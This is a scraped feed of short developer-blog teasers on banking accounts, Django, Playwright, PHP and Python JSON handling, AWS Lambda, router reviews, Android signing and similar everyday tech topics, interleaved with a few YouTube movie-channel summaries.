    Zero Balance Bank Accounts in India 2025: Complete Guide to Free Banking In an era where financial inclusion is paramount, zero balance savings accounts have emerged as a game-changer for millions of Indians. These accounts, officially known as Basic Savings Bank Deposit Accounts (BSBDA), eliminate the burden of maintaining minimum balance requirements, making banking accessible to everyone—from students and first-time depositors to individuals with irregular incomes. As someone who constantly seeks ways to save money and optimize financial management, understanding the nuances of zero balance accounts can unlock significant value without the stress of penalty charges. Zero balance savings accounts are regular savings accounts with one crucial difference: there's no requirement to mainta…  ( 10 min )
    Breaking the Glass Wall: How Meta-Learning Can Unlock the Fu
    Breaking the Glass Wall: How Meta-Learning Can Unlock the Full Potential of Neural Networks. As we continue to push the boundaries of what's possible with neural networks, one significant challenge remains: the need for extensive domain-specific training data. In many applications, collecting and labeling large datasets is prohibitively expensive, time-consuming, or even impossible. That's where meta-learning comes in – a rapidly advancing subfield of machine learning that allows neural networks to learn how to learn from limited amounts of data. In essence, meta-learning enables neural networks to acquire knowledge that can be applied to a wide range of tasks, making them more versatile and adaptable. Take the example of a neural network designed to classify images. Traditional approaches require a massive dataset of labeled images to achieve acceptable accuracy. However, with meta-learning, the network can learn to recognize patterns and relationships within a small, diverse subset of images, and then generalize its knowledge to other, unseen images. The takeaway: by incorporating meta-learning into neural network design, we can significantly reduce the need for extensive domain-specific training data, making it more feasible to deploy AI solutions in real-world applications where data is scarce or expensive to obtain. Publicado automáticamente  ( 6 min )
    Amazon Q Custom Agents: The Complete Guide
    👋 Hey there, tech enthusiasts! I'm Sarvar, a Cloud Architect with a passion for transforming complex technological challenges into elegant solutions. With extensive experience spanning Cloud Operations (AWS & Azure), Data Operations, Analytics, DevOps, and Generative AI, I've had the privilege of architecting solutions for global enterprises that drive real business impact. Through this article series, I'm excited to share practical insights, best practices, and hands-on experiences from my journey in the tech world. Whether you're a seasoned professional or just starting out, I aim to break down complex concepts into digestible pieces that you can apply in your projects. Let's dive in and explore the fascinating world of cloud technology together! 🚀 Imagine Sarah, a DevOps engineer at …  ( 12 min )
    Understanding All Ways to Reference the Django User Model
    When working with Django, the User model is central to authentication and user data management. But there’s more than one way to reference it, and choosing the wrong method can lead to subtle bugs, especially if you ever switch to a custom user model. In this post, I’ll break down all the ways to reference the User model, explain their differences, and when to use each. from django.contrib.auth.models import User user = User.objects.get(pk=1) This approach is straightforward and works fine if you’re only ever using Django’s built-in User. However, it will break if you later swap in a custom user model. For this reason, it’s generally not recommended in reusable or production code. Django provides a utility function to retrieve the currently active user model: from django.contrib.auth imp…  ( 7 min )
    Mikrotik CSS106-1G-4P-1S - მართვადი PoE სვიჩი 5 პორტით - Review and Guide
    Overview Discover the Power of Mikrotik CSS106-1G-4P-1S - A Managed PoE Switch with 5 Ports In today's fast-paced digital environment, having a reliable and efficient network infrastructure is crucial for both small and large businesses. The Mikrotik CSS106-1G-4P-1S managed PoE switch is designed to meet the demands of modern networking with its robust features and versatile capabilities. This switch offers a compelling solution for those looking to enhance network performance while maintaining a cost-effective approach. The Mikrotik CSS106-1G-4P-1S comes packed with features that make it a standout choice for network management: Port Configuration: It provides 5 Gigabit Ethernet ports and an SFP cage, which is ideal for network expansion and flexibility. The inclusion of Giga…  ( 9 min )
    Why you should stop writing long functions
    Hey friends! 👋 Let’s talk about something every beginner struggles with: Why you should stop writing long functions and how to break them into smaller ones Long functions feel "easy" when you're starting out. But over time, those bulky functions turn into: untraceable bugs code that’s hard to read features that are difficult to update unnecessary stress Smaller functions make your code cleaner and easier to reason about. This is what I mean. 1️⃣ Long functions hide mistakes Take this example: const processUser = (data) => { // Validate if (!data.email.includes("@")) throw new Error("Invalid email"); // Format const name = data.name.trim().toUpperCase(); // Save localStorage.setItem("user", JSON.stringify({ name, email: data.email })); // Notify alert("User saved!"); }…  ( 8 min )
    Mikrotik LtAP mini LTE kit — LTE-ready გარე Wi-Fi gateway GPS-ით - Review and Guide
    Overview Enhance Connectivity with Mikrotik LtAP Mini LTE Kit In today's fast-paced world, staying connected is more crucial than ever, whether you're managing a business or enjoying leisure activities. The Mikrotik LtAP mini LTE kit is designed to meet these demands by offering a robust and reliable solution for outdoor connectivity. Its advanced features make it an indispensable asset for anyone needing consistent internet access on the go. The Mikrotik LtAP mini LTE kit (RB912R-2nD-LTm&R11e-LTE) is a versatile outdoor Wi-Fi/LTE gateway that combines multiple connectivity options into a single, compact device. Designed for those who require a dependable connection outside of traditional indoor environments, this device integrates a 2.4GHz wireless network with an LTE modem, …  ( 9 min )
    Mikrotik RB912R-2nD-LTm - LTE გარე როუტერი GPS-ით - Review and Guide
    Overview Mikrotik RB912R-2nD-LTm: A Robust Outdoor LTE Router with GPS In today's digital age, the need for reliable internet connectivity is paramount, whether you're in an urban environment or exploring remote locations. The Mikrotik RB912R-2nD-LTm stands out as a versatile solution, offering robust LTE capabilities paired with GPS functionality. This outdoor Wi-Fi router is designed to deliver seamless internet access, making it an ideal choice for both personal and professional use. The Mikrotik RB912R-2nD-LTm is more than just a router; it's a comprehensive network solution that caters to a wide range of connectivity needs. Here are some of its standout features: LTE Connectivity: With its built-in LTE modem, this router provides a reliable internet connection even in are…  ( 8 min )
    Hello everyone! Hope you’re all doing well. I’ve been exploring AWS and serverless lately, and I enjoy sharing clear, simple explanations of what I learn. Looking forward to good discussions and connecting with like-minded people here!
    A post by Krisha Arya  ( 6 min )
    Mejora la Producción de Videos con AI Clip Maker
    El contenido en video se ha convertido en una herramienta esencial para captar la atención de las audiencias y fortalecer la presencia de marca. Sin embargo, la edición de videos largos puede ser un proceso laborioso y consumir mucho tiempo. LiveLink AI presenta AI Clip Maker, una solución impulsada por inteligencia artificial que automatiza la selección de momentos destacados y la creación de clips, optimizando la producción de video de manera eficiente. AI Clip Maker analiza cada segmento del video, detectando automáticamente las partes más relevantes y eliminando el contenido redundante. Esto permite a los creadores enfocarse en la narrativa y la estrategia de contenido, mientras la herramienta se encarga de la edición técnica. Características Clave de AI Clip Maker: Detección Inteligen…  ( 7 min )
    Serverless Made Simple: Why Lambda Is Changing the Future of Cloud
    What is Serverless? Serverless does NOT mean “there are no servers. You only write code, and AWS handles: servers scaling uptime patches networking infrastructure You pay only when your code runs. Let's understand with example... Imagine you want to run a function. Why Serverless Exists? Before serverless: you must choose server size you must keep it running you must pay 24/7 you must scale manually you must monitor and reboot With serverless: no servers to manage no scaling worries no idle costs automatically handles millions of users ideal for APIs, cron jobs, triggers What is AWS Lambda? AWS Lambda is THE most famous serverless service. Lambda = run your code without servers. You upload your code → AWS executes it when needed → you pay only for milliseconds used. How Lambda works?…  ( 8 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    ‘Weird Science’ gets the Rewatchables treatment as Bill Simmons and Kyle Brandt break down John Hughes’s 1985 teen classic—starring Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith. Expect a wild ride with sex, drugs, rock ’n’ roll and even chains and whips as they dig into the film’s funniest moments and behind-the-scenes secrets. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, this episode mixes pop-culture nostalgia with plenty of banter (and a cheeky State Farm plug). Tune into The Ringer’s channels for more movie deep dives and must-hear takes. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less With Wicked back in theaters, CinemaSins hits the yellow brick road to nitpick The Wiz—spotlighting every musical stumble, costume quirk, and plot wobble in their trademark snarky style. Is it more fun (and flawed) than you remember? Thirsty for more sins? Scour cinemasins.com for behind-the-scenes goodies, fill out their quick poll, or back the team on Patreon. Then dive into the conversation on Discord, Reddit, Instagram, TikTok—and follow the writers on Twitter for extra sinful takes. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Biggest Disney Bombs: The Sorcerer's Apprentice - Caravan of Garbage
    Disney’s golden age of blockbusters has hit a rough patch—Marvel and Star Wars sequels faltered, and new releases like Wish and Elio barely made a ripple. But Disney’s had off-seasons before, so the crew is launching a series that dives into four colossal live-action flops. First up is 2010’s The Sorcerer’s Apprentice: Nicolas Cage, questionable magic tricks, and a giant bird. The hosts admit the details are fuzzy, but their video will unpack every cringe-worthy moment. For bonus podcasts, early vids, and more rabbit holes, swing by bigsandwich.co. Watch on YouTube  ( 6 min )
    LeetCode vs. Vibe Coding: The Reality of Interviewing in 2025
    I LOVE a good technical challenge. There is something satisfying about solving a complex problem, optimizing a data structure, or shaving off a few milliseconds of latency. But this past summer, I found myself back in the job market, and let me tell you… Things have changed. The industry has split into two distinct realities. On the one hand, I interviewed with established enterprise giants whose processes were like bread and butter to me. I was solving algorithmic puzzles and showcasing my understanding of the DOM and general web development skills. On the other hand, I interviewed with startups where the interviewer essentially handed me the keys to GitHub Copilot and said, "Build this feature. You have 45 minutes. Go." It made me feel a bit like an "old man yelling at the sky," but it a…  ( 9 min )
    Playwright Quirks — waitForResponse
    Playwright has a convenient feature for waiting on responses from requests - waitForResponse. waitForResponse — playwright.dev This is helpful when there are no visual changes on the web UI, but you need to verify that a request was actually sent and an entity was successfully created. Instead of: Opening the page with that entity and writing checks to verify all data is correct Or directly "poking" a specific endpoint to check its fields You can implement response waiting. Here's an example from the documentation: Start waiting, perform the action, then await the response: const responsePromise = page.waitForResponse('https://example.com/resource'); await page.getByText('trigger response').click(); const response = await responsePromise; Declare the predicate with expectations, perform t…  ( 7 min )
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    How Microsoft Agent Framework + AG-UI Enable Agentic UX & Generative UI
    Building with the Microsoft Agent Framework + AG-UI Microsoft’s Agent Framework (MAF) is an open-source agent framework that has recently emerged, offering exceptional ways to build agents and multi-step workflows in .NET or Python. Paired with AG-UI, the frontend/runtime layer that enables those agents to appear in your app with a clean UI, streaming responses, and shared state, etc., delivers a seamless agentic experience. The integration between the two is simple but powerful: MAF handles the reasoning and tool-use, and AG-UI bridges the interactions between the agent and the users. Microsoft Agent Framework (MAF) and AG-UI together offer a clean separation: MAF handles the agent’s intelligence, workflows, memory, and tool use. AG-UI is the open protocol that standardizes how agents com…  ( 8 min )
    The Journey of a Crypto Wallet: From One Seed Phrase to Infinite Addresses
    When you open a crypto wallet—whether it's MetaMask, Phantom, or even your own custom CLI—it looks deceptively simple: one seed phrase, one wallet, and magically an endless list of accounts, networks, and addresses across multiple blockchains. But behind this effortless experience lies a beautifully engineered set of standards—most notably BIP-32, BIP-39, and BIP-44—that work together to deterministically generate keys and keep the entire wallet ecosystem interoperable, recoverable, and consistent. This post walks through that journey step by step, explaining how BIP-32, BIP-39, and BIP-44 form the backbone of every modern wallet, whether it's Bitcoin, Ethereum, Solana, or any other chain that uses hierarchical deterministic (HD) wallets. If you're building your first wallet or want to und…  ( 9 min )
    OmniDictate v2.0: The Future of Local Dictation on Windows
    We are thrilled to announce the release of OmniDictate v2.0.0, a major update that completely transforms the user experience while keeping the core promise of fast, private, and accurate dictation. OmniDictate is a free, open-source tool that brings real-time AI speech-to-text to your Windows PC. It runs entirely locally using the faster-whisper engine (based on OpenAI's Whisper), ensuring your data never leaves your machine. This release focuses on usability, aesthetics, and performance. Version 2 introduces a stunning, modern graphical interface. Dark Slate Theme: Easy on the eyes and professional. Frosted Glass Accents: A touch of modern elegance. Intuitive Layout: Designed for clarity and focus, putting all controls right where you need them. large-v3-turbo Support We've upgrad…  ( 7 min )
    RAG - The Smart Way to Improve AI Answers
    Retrieval-Augmented Generation (RAG) is transforming how we use AI by allowing models to think with real, live information instead of relying only on what they were trained on. What is RAG ? Retrieval-Augmented Generation (RAG) is an AI architecture that enhances large language models by retrieving up-to-date, domain-specific information from external knowledge sources and combining it with the model’s generation capabilities to produce accurate, factual, and context-aware responses. RAG was introduced to solve the limitations of traditional Large Language Models.Even though LLMs are powerful, they have major problems: LLMs hallucinate-LLMs generate answers based on patterns they learned during training, not on real-time facts. So they sometimes produce confident but incorrect…  ( 9 min )
    How AI Agents in Cybersecurity Are Revolutionizing AppSec
    Modern application security is undergoing a major shift as organizations increasingly rely on AI-driven code development and fast-moving DevOps practices. Traditional AppSec tools, designed for slower and less complex environments, are no longer able to handle the scale and speed of modern software pipelines. This is where AI agents in cybersecurity are driving a significant transformation. With 57% of organizations already using AI for anomaly detection and another 27% planning to adopt AI in their cybersecurity strategy, the momentum behind autonomous security is rapidly growing. AI agents stand out because they don’t just raise alerts—they understand context, make decisions, and take action, ultimately streamlining AppSec operations and enhancing accuracy. AI agents function as autonomo…  ( 7 min )
    Seamlessly Manage Synchronization Flow with Cancel Reconciliation API in ForgeRock IDM
    The Cancel Reconciliation Application programming interface, in ForgeRock IDM provides a powerful tool for managing the synchronization flow between different identity systems. By using this Application programming interface,, you can dynamically cancel reconciliation operations and fine-tune the synchronization process to meet the unique needs of your organization. In this article, we'll explore the benefits and best practices for using the Cancel Reconciliation Application programming interface, in ForgeRock IDM, and provide a step-by-step guide on how to implement it. Read more: Seamlessly Manage Synchronization Flow with Cancel Reconciliation API in ForgeRock IDM  ( 6 min )
    Day 6: If Statements - Teaching Python to Make Decisions - 30 Days of Python Challenge
    Welcome Back to Day 6! Hey everyone! It's Day 6 of my 30 Days of Python Challenge, and today we're making our programs smart! 🧠 If you missed the previous days: [Day 1: Print Statements] [Day 2: Variables and Data Types] [Day 3: Type Casting] [Day 4: User Input] [Day 5: Arithmetic Operators] Today, we're learning how to make decisions in our code using if statements. Let's give Python the power to think! Today's mission: If Statements. Until now, our code has been running line by line, doing the same thing every time. But what if we want different outcomes based on different conditions? That's where if statements come in! If statements are like giving your program a brain. They let you: Check conditions and respond accordingly Create different paths through your code Make programs that …  ( 8 min )
    Terminal Resume - ssh.akshaygupta.live
    Introduction Ever wish a resume said "hi" the same way you do? 🚀 This one does. Pop open iTerm (or whatever shell keeps you grounded), paste ssh ssh.akshaygupta.live, and a neon figlet banner blooms like it's 1994. In a blink you're welcomed with the TL;DR, a friendly prompt, and zero browser chrome in sight. It feels like stepping into a dotfiles stash, only this one tells my career story. Under the hood it's just thoughtful TypeScript, and a little flair. Here's the tour 🧭 terminal/server.ts spins up an ssh2.Server, accepts every session and hands it off to a fresh ResumeShell so nobody fights for history or width. The shell clears the screen, renders the marquee welcome (renderWelcome mixes figlet, gradient-string and boxen), and reacts to window-change events so everything stays r…  ( 7 min )
    Why Hiring Top React Native App Developers Is a Smart Investment for 2025
    In today’s fast-paced digital landscape, businesses are continuously searching for ways to stay ahead of the curve. Mobile apps have become an essential tool for companies to engage customers, streamline operations, and build brand loyalty. With cross-platform development gaining momentum, React Native has emerged as a preferred technology for many businesses. But building a high-quality, scalable, and user-friendly app requires expertise, which is why hiring top react native app developers is considered a smart investment for 2025. The Growing Demand for React Native in 2025 React Native, developed by Facebook, allows developers to create apps that work seamlessly across both iOS and Android platforms. In 2025, the need for apps that can perform consistently on multiple platforms has incr…  ( 9 min )
    The Rust Learning Paradox: Why Beginners Learn Faster
    After 15 years of Python/Ruby/JS, learning Rust feels like being told you've been holding your fork wrong your entire life. Turns out, people who've never held a fork learn the "correct" way faster. You: "I'll just pass this variable to two functions—" Rust Compiler: "Who owns it though?" You: "I don't care, just..." Rust: "Cannot borrow as mutable while also borrowed as immutable." You: "I've been doing this for 10 YEARS!!?!" Rust: "Yes, and you've been doing it wrong." Beginner: "So this is how variables work in programming?" Rust: "Yes." Beginner: "Cool." writes correct code You: screaming into the void They are learning faster because they have nothing to unlearn. You are fighting muscle memory. But here's the secret: you will still beat them in the long run. They might not fight the borrow checker, but they are still Googling "what is a hashmap" while you are architecting concurrent systems. You just have to accept that for 2-3 months, a bootcamp graduate with zero prior experience might write cleaner Rust than you. Humbling? Yes. Worth it? Also yes. Sometimes expertise is technical debt. The borrow checker doesn't care about your 10 years of experience, it cares about memory safety. Welcome to being a junior again. Enjoy the ride. 🦀 From someone currently yelling at cannot move out of borrowed content for the 47th time today.  ( 6 min )
    The Real Backend Framework for AI: Why Performance Hinges on Silicon, Not Software
    When developers talk about a backend framework, they usually mean Node.js, Django, or Spring Boot—the software architecture that handles business logic, databases, and APIs. But when you ask an AI model like me what framework it uses, the answer pivots entirely. It's not about which programming language is running the server; it's about the specialized hardware and deployment platform that powers the vast neural network itself. Understanding this difference is crucial, because for large language models (LLMs), performance is no longer limited by a server's thread count, but by the efficiency of the silicon and serving stack. I, an instance of the Gemini model, don't use a standard web framework. My operation is managed by a customized, distributed system optimized for extreme performance. …  ( 8 min )
    For the Java lovers!
    Mastering CRUD with Spring Boot and MongoDB: A Step-by-Step Guide Altair Lage ・ Sep 11 #springboot #mongodb #tutorial #java  ( 6 min )
    Day 2: Storing Information with Variables - 30 Days of Python Challenge
    Welcome Back! Hey everyone! It's Day 2 of my 30 Days of Python Challenge, and I'm so excited you're back! Yesterday we learned about the print() function, and today we're leveling up by learning how to store and reuse information with variables. If you missed Day 1, check it out [here] to catch up on print statements! Today's mission: Understanding Variables. Think of variables as labeled boxes where you can store different types of information. Instead of typing the same information over and over, we store it once and use it everywhere! Variables are like name tags for your data. They let you: Store information to use later Make your code more flexible and reusable Give meaningful names to your data In Python, creating a variable is super simple: just pick a name, use the equals sign (=…  ( 8 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    Bill Simmons and Kyle Brandt take you on a nostalgia-fueled ride through John Hughes’s 1985 teen sci-fi romp Weird Science, dissecting everything from Anthony Michael Hall’s awkward genius to Kelly LeBrock’s otherworldly glam. Expect plenty of behind-the-scenes gossip, ’80s pop-culture callbacks, and a healthy dose of irreverent humor. They wrap up with a look at the film’s wild mix of sex, drugs, rock ’n’ roll—and yes, chips, dips, chains and whips—proving why it’s a must-rewatch for anyone who loves big laughs and bigger ’80s vibes. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is back with a fresh video spotlighting every nitpick in the 1978 musical The Wiz, timed perfectly as Wicked returns to theaters. Expect the trademark snark and rapid-fire quips as they explore whether The Wiz holds up better than you remember. Alongside the video, they’re pushing their social universe—polls, Patreon support, Discord, Reddit, and all the usual CinemaSins channels on YouTube and social media—so you can join in the fun (and the sin-counting). Watch on YouTube  ( 6 min )
    Day 1: My First Python Print Statement - 30 Days of Python Challenge
    Welcome to My Python Journey! Hey there, fellow coding enthusiasts! Today marks the beginning of my exciting 30 Days of Python Challenge, and I'm thrilled to have you join me on this adventure. Whether you're a complete beginner or someone looking to refresh their Python skills, this series is for you! I'll be sharing my daily progress, lessons learned, and code snippets as I work through Python fundamentals. My goal? To make Python accessible, fun, and easy to understand for everyone. print() Today's focus is simple yet powerful: the print statement. Every programming journey starts with a simple "Hello, World!" and today, I'm taking that first step. The print() function is your best friend when starting with Python. It's how your program talks to you! Think of it as Python's way of s…  ( 7 min )
    Validate JSON Using PHP
    JSON validation is essential when working with APIs, configuration files, or any data exchange in PHP. Invalid JSON can cause errors, security issues, and application crashes. PHP provides built-in functions to validate JSON strings efficiently. Prevent Errors: Catch malformed JSON before it causes runtime errors Security: Protect against malicious or malformed data inputs Data Integrity: Ensure data conforms to expected structure Better Debugging: Identify issues early in the data processing pipeline API Reliability: Validate external API responses before processing PHP 8.3 introduced the json_validate() function specifically designed for fast and efficient JSON validation. Unlike json_decode(), it does not parse the JSON or create PHP arrays/objects. Instead, it performs a lightweight structural check, making it ideal for high-performance validation. Example if (json_validate($jsonString)) { Why Use json_validate()? More Efficient: Uses significantly less memory than json_decode() Faster: Skips object/array construction Purpose-built: Specifically designed for validation use cases Ideal for Large Payloads: Works better when handling large API responses or config files Before PHP 8.3, the common way to validate JSON was using json_decode() and verifying errors with json_last_error(). Example json_decode($jsonString); if (json_last_error() === JSON_ERROR_NONE) { You can enable exceptions when decoding JSON by using the JSON_THROW_ON_ERROR flag. This helps with cleaner error handling in larger applications. Example Use json_validate() in PHP 8.3+ when you only need to validate (best performance). Use json_decode() when you need both validation and parsed data. Use exceptions for large projects to simplify debugging. Sanitize Input: Always validate user-provided or external API data. Log Errors: Helps track malformed data issues in production. Or , you can try out online jsonformatters like jsonformatter  ( 7 min )
    Salary Trends Reshaping Corporate India in 2026
    The Indian corporate landscape is changing faster than ever, driven by technology adoption, evolving job roles, hybrid work cultures, and rapid digital transformation. Salaries today are not only influenced by experience or qualifications, but also by skill relevance, industry growth rate, and market competitiveness. As we move into 2026, understanding salary trends in Corporate India is no longer optional—it is essential for career planning, negotiation, and long-term stability. In this detailed guide, we explore the key salary trends reshaping Corporate India, what employees must track, and which tools can help you stay ahead of the market. Traditionally, Indian companies aligned salaries with years of experience. However, 2026 marks a dramatic shift towards skill-based compensation. Com…  ( 7 min )
    JSON vs MessagePack vs Protobuf in Go — My Real Benchmarks and What They Mean in Production
    I still remember the day when a single JSON endpoint quietly became the top CPU consumer in our Go service. Nothing visually “looked” wrong: no errors, no spikes, no Go routines leaking. 30–40% of the CPU time was being spent on marshaling JSON. That was the moment I realized how often we underestimate serialization cost in Go. And how much performance we leave on the table simply because “JSON is easy”. In this article, I’ll walk you through my real production benchmarks comparing JSON, MessagePack, and Protobuf — not synthetic microbenchmarks, but results based on actual payloads from a high-throughput system. 1. Why Serialization Matters More Than You Think Serialization sits on the hot path of almost every service: sending data over HTTP caching objects storing documents publishing t…  ( 9 min )
    Zain Italic Font : AtoZ Font
    Zain Italic, designed by Boutros Fonts, falls under the Sans Serif category & Zain font family. Its smooth, flowing letterforms make it a versatile choice for projects that require both elegance and readability. Zain is particularly well-suited for Body Text, Headlines and Subheadings, Branding and Corporate Identity and Digital and Web Design. With its balance of simplicity and decorative appeal, this font brings a polished touch to both personal and professional designs. https://www.atozfont.com/font/zain-italic ZainitalicFont #Fonts #AtoZFont #AtoZFonts #A2ZFont #A2ZFonts #ttf #otf #Fontdownload #Downloads  ( 6 min )
    Visualizing EKS Node Status with eks-node-viewer
    Introduction github.com/awslabs/eks-node-viewer is an open-source tool that allows you to visualize the status of nodes in your EKS cluster directly from the command line. This tool is developed in Go and can be installed with the following command: go install github.com/awslabs/eks-node-viewer/cmd/eks-node-viewer@latest You can use it simply by running: eks-node-viewer The --node-selector flag allows you to filter which nodes are displayed. For example, to show only nodes launched by Karpenter, run: eks-node-viewer --node-selector "karpenter.sh/provisioner-name" Nodes launched by Karpenter have labels like the following, so the above command specifies the label key name: labels: # Label with the Provisioner name as the value karpenter.sh/provisioner-name: default First, I …  ( 7 min )
    The Modern Convenience of Stitched Dresses Online
    Stitched dresses online have quickly become a cornerstone of contemporary fashion, offering women a seamless blend of style, comfort, and practicality. As online shopping evolves, ready-made dresses provide a refreshing alternative to traditional tailoring, allowing women to enjoy polished, well-fitted outfits without the waiting period. The ease of browsing collections, selecting sizes, and receiving dresses ready to wear has transformed stitched apparel into a favorite among fashion-conscious shoppers who value both beauty and efficiency. One of the greatest advantages of choosing stitched dresses online is the effortless experience they offer. Instead of navigating the time-consuming process of selecting fabric and scheduling fittings, women can instantly access curated collections with…  ( 8 min )
    JSON Pretty Print Using Python - With Examples
    Working with JSON data is common in modern development, but minified JSON can be hard to read and debug. Python provides simple built-in tools to format JSON data in a readable way with proper indentation and structure. Pretty printing converts compact, minified JSON into a formatted structure with proper indentation, line breaks, and whitespace. This makes it much easier to understand the data structure, debug issues, and share with team members. Easy Debugging: Quickly identify structural issues and understand data relationships Better Readability: Makes JSON data human-readable for code reviews and documentation API Testing: Analyze API responses more efficiently Configuration Files: Maintain readable config files that are easier to edit The easiest way to pretty print JSON in Python is using json.dumps() with the indent parameter. Example: Pretty Print a JSON String Minified JSON string Parse JSON string to Python object Pretty print with indentation Output: Read from File and Print Read JSON from file Pretty print to console Write Pretty JSON to a File data = { Write formatted JSON to file indent sort_keys ensure_ascii Pretty printing JSON in Python is straightforward with the built-in json module. Use json.dumps() with the indent parameter for formatted output, add sort_keys=True for consistency, and always handle exceptions when reading files. These simple techniques will make working with JSON data much easier in your development workflow. Use indent=4 for readable formatting Add sort_keys=True for consistent output Handle exceptions when reading JSON files Use json.tool for quick command-line formatting Create custom encoders for special data types like datetime Or, you try using jsonformatter gg🚀  ( 7 min )
    Assessing TOON Token Savings in an MCP Server
    I have been wiring TOON support with toon-token-diff into this MCP server to understand whether converting JSON payloads to TOON meaningfully reduces prompt costs. The short answer: TOON is elegant, but in my test harness it delivered microscopic savings for real-world workloads. Project mode: toon-token-diff in libraryMode via npm install toon-token-diff Models monitored: openai (tiktoken GPT-5 profile) and claude Integration strategy: lightweight instrumentation that appends token stats into a JSONL ledger for later analysis import { estimateAndLog } from "toon-token-diff/libraryMode"; // inside my MCP tool handler estimateAndLog(JSON.stringify(result), { models: ["openai", "claude"], file: "./token-logs.jsonl", format: "json", label: "mcp_tool_call", }); This snippet r…  ( 7 min )
    Why RAG and Agent Systems Are Unstable — A Minimal Deterministic Planner POC
    RAG and Agent frameworks promise a lot: But if you’ve actually tried deploying them into finance, legal, compliance, operations, or automation, you’ve probably noticed the same thing I did: They’re structurally unstable. This is not a hallucination issue. Let’s break it down. 🧩 1. Retrieval is inherently non-deterministic ANN (HNSW/IVF/ScaNN) is approximate. index rebuilds change the top-k embedding drift changes neighbors adding documents shifts similarity space internal randomness changes ranking If the retrieval set changes, 🧩 2. Context construction is unstable LLMs don’t treat all chunks equally. They’re sensitive to: order of chunks length differences truncation behavior position in the prompt subtle formatting shifts Same chunks ≠ same output. 🧩 3. LLM planners amplify randomness…  ( 7 min )
    Most Automation Isn't Really Automation
    Most “Automation” Isn’t Really Automation A practical look from a developer’s perspective Developers see it every day. A spreadsheet macro. A Python script on someone’s laptop. A cron job gluing two APIs. An AI tool used for a quick repetitive task. Every team has these microautomations lying around. Useful, yes. Scalable, no. If you want the long-form writeup that inspired this, it’s here: https://liteed.com/blog/automation-approach. Microautomation shows up as: scripts exports macros tiny AI helpers scheduled tasks They reduce friction but fail the moment you need: documentation monitoring handoff between people consistent behavior scaling across teams This helps the individual, not the organization. AI looks powerful, but in practice behaves like upgraded macros: great…  ( 7 min )
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    The TDD + AI Revolution: How Systematic Refactoring Beats the "Move Fast and Break Things" Mentality v.j.k. ・ Jun 23 #ai #tdd #cursor #development  ( 6 min )
    Akuna OA — “Not Hard, Just Don’t Mess Up
    Just wrapped up the 11.18 Akuna OA, and the feedback was surprisingly consistent: “The questions look easy… but one messy implementation and you’re done.” Akuna doesn’t reward clever tricks — it rewards clean logic + zero-bug code under pressure. Below is a beginner-friendly, stable-pass breakdown of all three problems. If you’re prepping for Quant / Trading / Strategy, feel free to copy and practice directly. Task: Given a string s and an integer k, return the shortest substring containing at least k occurrences of 'I'. If multiple substrings have the same length, pick the lexicographically smallest one. This problem looks like it needs sliding window, but honestly the safest OA solution is much simpler: Loop i through every starting index. From i, expand j forward until the substri…  ( 7 min )
    Sign Android apps using 1Password
    German is also available: https://dev.to/devtronic/android-apps-mithilfe-von-1password-signiere-472o Android developers know: If you want to upload an app to the Google Play Store, the app bundle or APK must be signed with a key. As an individual developer, the process is relatively straightforward: Create a Java Key Store (JKS) Add a signing key to the JKS Create a key.properties file containing details such as the key alias and password Use this to sign the app From a security perspective, neither the JKS nor the properties file should be committed to a VCS. This introduces several challenges: I need to ensure the JKS is stored in a secure location to avoid loss. When working in a team, every developer must store the JKS and properties file locally. If a new key is added to the JKS, all …  ( 8 min )
    WaaS Is the New API: Why Wallet-as-a-Service Is Quietly Reshaping Web3 Onboarding 🔐
    If the last cycle taught Web3 anything, it’s this: nobody wants to manage private keys - not users, not businesses, not even engineers who pretend they enjoy it. WaaS takes the messiest part of Web3 - key storage, recovery flows, compliance, multi-chain support - and turns it into something businesses already understand: an API call. Modern WaaS systems rely on three pillars: 1️⃣ MPC (Multi-Party Computation) 2️⃣ Account Abstraction (AA) 3️⃣ Enterprise KMS + compliance rails Fintech apps, neobanks, trading terminals, gaming studios, and loyalty platforms are all adopting WaaS for one reason: They want Web3 features without building a crypto team of 20 engineers. WaaS lets companies integrate: On-chain payments Loyalty tokens Digital identities Trading features Multi-asset custody …with UX that feels like Web2, not Web3 from 2017. Even exchanges are evolving. Let’s be honest: users, revenue, and regulatory clarity — not a devops nightmare where one lost seed phrase becomes a million-dollar problem. WaaS gives them battle-tested infra, compliant rails, and UX users don’t rage-quit. It replaces Web3 chaos with something CFO-friendly. Wallet-as-a-Service isn’t just another crypto trend. When onboarding becomes a one-click experience, Web3 adoption stops being a dream - and starts becoming a default.  ( 7 min )
    How to Turn Notes Into a Presentation Using AI (Complete Guide)
    Turning raw notes into a polished, professional presentation can feel overwhelming — especially when you’re dealing with messy bullet points, long paragraphs, or scattered ideas. The good news? AI tools now make it possible to convert notes into a ready-to-use presentation in minutes, without needing any design skills. In this blog, you’ll learn exactly how to turn your notes into a presentation using AI, the best tools for the job, why AI slide generators are becoming essential, and how MagicSlides makes the whole process even easier. AI presentation tools are designed to read your notes, understand the structure, and generate slides with proper layout, visuals, and flow. Saves hours of manual work Creates structured slides instantly Fixes formatting issues automatically Generates d…  ( 8 min )
    GPU-Powered Networking: The Future of Blazing-Fast Model Training by Arvind Sundararajan
    GPU-Powered Networking: The Future of Blazing-Fast Model Training \Are you tired of sluggish performance when training massive models across multiple GPUs? Do you dream of a world where data flows seamlessly between GPUs without CPU bottlenecks? Imagine a Formula 1 race where the CPU is the pit crew, slowing down the car. That is now over! Introducing a revolutionary approach: GPU-initiated networking. This paradigm shift allows GPUs to directly manage communication with each other, bypassing the traditional CPU-mediated model. This reduces latency and overhead, significantly accelerating distributed training. We now have a high-speed highway for data, giving the GPU all control of the car to reach a higher max speed. Traditionally, the CPU acts as the traffic controller, orchestrating …  ( 7 min )
    Installing & Working with Python - in Ubuntu 24.04
